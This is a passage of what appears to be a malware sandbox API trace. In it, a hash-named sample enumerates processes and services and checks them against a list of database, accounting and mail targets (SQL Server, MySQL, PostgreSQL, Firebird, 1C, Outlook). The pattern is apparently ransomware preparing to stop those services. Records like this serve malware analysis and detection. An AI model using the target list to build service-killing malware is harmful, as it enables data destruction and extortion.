lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0126.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0126.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0126.002] lstrlenW (lpString="UxSms") returned 5 [0126.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0126.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0126.002] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0126.002] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0126.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0126.002] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8ee200 | out: hHeap=0x880000) returned 1 [0126.002] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0126.004] Process32FirstW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0126.004] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0126.005] lstrlenW (lpString="System") returned 6 [0126.005] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0126.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0126.005] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0126.005] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0126.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0126.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0126.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0126.005] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0126.005] lstrlenW (lpString="smss.exe") returned 8 [0126.005] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0126.005] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0126.005] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0126.005] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0126.005] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0126.005] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0126.005] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0126.005] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.006] lstrlenW (lpString="csrss.exe") returned 9 [0126.006] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0126.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0126.006] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0126.006] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0126.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0126.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0126.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0126.006] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0126.006] lstrlenW (lpString="wininit.exe") returned 11 [0126.006] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0126.006] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0126.006] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0126.006] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0126.006] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0126.006] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0126.006] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0126.006] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0126.007] lstrlenW (lpString="csrss.exe") returned 9 [0126.007] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0126.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0126.007] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0126.007] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0126.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0126.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0126.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0126.007] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0126.007] lstrlenW (lpString="winlogon.exe") returned 12 [0126.007] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0126.007] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0126.007] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0126.007] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0126.007] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0126.007] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0126.007] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0126.007] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0126.008] lstrlenW (lpString="services.exe") returned 12 [0126.008] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0126.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0126.008] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0126.008] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0126.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0126.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0126.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0126.008] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0126.008] lstrlenW (lpString="lsass.exe") returned 9 [0126.008] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0126.008] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0126.008] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0126.008] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0126.008] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0126.008] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0126.008] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0126.008] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0126.009] lstrlenW (lpString="lsm.exe") returned 7 [0126.009] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0126.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0126.009] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0126.009] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0126.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0126.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0126.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0126.009] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.009] lstrlenW (lpString="svchost.exe") returned 11 [0126.009] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0126.009] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0126.009] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0126.009] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0126.009] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0126.009] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0126.009] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0126.009] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.010] lstrlenW (lpString="svchost.exe") returned 11 [0126.010] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0126.010] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.010] lstrlenW (lpString="svchost.exe") returned 11 [0126.010] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0126.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0126.010] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.011] lstrlenW (lpString="svchost.exe") returned 11 [0126.011] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0126.011] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.011] lstrlenW (lpString="svchost.exe") returned 11 [0126.011] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0126.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0126.011] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0126.012] lstrlenW (lpString="audiodg.exe") returned 11 [0126.012] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0126.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0126.012] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0126.012] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0126.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0126.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0126.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0126.012] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.012] lstrlenW (lpString="svchost.exe") returned 11 [0126.012] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0126.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0126.012] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0126.012] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0126.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0126.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0126.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0126.012] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0126.013] lstrlenW (lpString="userinit.exe") returned 12 [0126.013] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0126.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0126.013] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0126.013] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0126.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0126.013] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0126.013] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0126.013] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0126.013] lstrlenW (lpString="explorer.exe") returned 12 [0126.013] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0126.013] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0126.013] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0126.013] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0126.013] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0126.014] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0126.014] lstrlenW (lpString="dwm.exe") returned 7 [0126.014] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.014] lstrlenW (lpString="svchost.exe") returned 11 [0126.014] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0126.014] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0126.014] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0126.015] lstrlenW (lpString="spoolsv.exe") returned 11 [0126.015] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0126.015] lstrlenW (lpString="cmd.exe") returned 7 [0126.015] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0126.015] lstrlenW (lpString="dllhost.exe") returned 11 [0126.015] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0126.016] lstrlenW (lpString="conhost.exe") returned 11 [0126.016] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0126.016] lstrlenW (lpString="reader_sl.exe") returned 13 [0126.016] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0126.016] lstrlenW (lpString="svchost.exe") returned 11 [0126.016] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0126.017] lstrlenW (lpString="taskhost.exe") returned 12 [0126.017] Process32NextW (in: hSnapshot=0x12c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0126.017] CloseHandle (hObject=0x12c) returned 1 [0126.017] Sleep (dwMilliseconds=0x1f4) [0127.102] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3aabe40 [0127.276] EnumServicesStatusExW (in: hSCManager=0x3aabe40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0127.276] GetLastError () returned 0xea [0127.277] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa08) returned 0x3aadf38 [0127.277] EnumServicesStatusExW (in: hSCManager=0x3aabe40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3aadf38, cbBufSize=0xa08, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3aadf38, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0127.277] CloseServiceHandle (hSCObject=0x3aabe40) returned 1 [0127.278] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0127.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0127.278] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0127.278] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0127.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0127.278] lstrlenW (lpString="AudioSrv") returned 8 [0127.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0127.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0127.278] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0127.278] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0127.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0127.278] lstrlenW (lpString="BFE") returned 3 [0127.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0127.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0127.278] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0127.278] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0127.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0127.278] lstrlenW (lpString="CscService") returned 10 [0127.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0127.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0127.278] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0127.278] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0127.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0127.278] lstrlenW (lpString="DcomLaunch") returned 10 [0127.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0127.278] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0127.278] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0127.278] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0127.278] lstrlenW (lpString="Dhcp") returned 4 [0127.278] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0127.278] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0127.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0127.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0127.279] lstrlenW (lpString="Dnscache") returned 8 [0127.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0127.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0127.279] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0127.279] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0127.279] lstrlenW (lpString="eventlog") returned 8 [0127.279] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0127.279] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0127.279] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0127.279] lstrcmpiW (lpString1="mssqlserver", 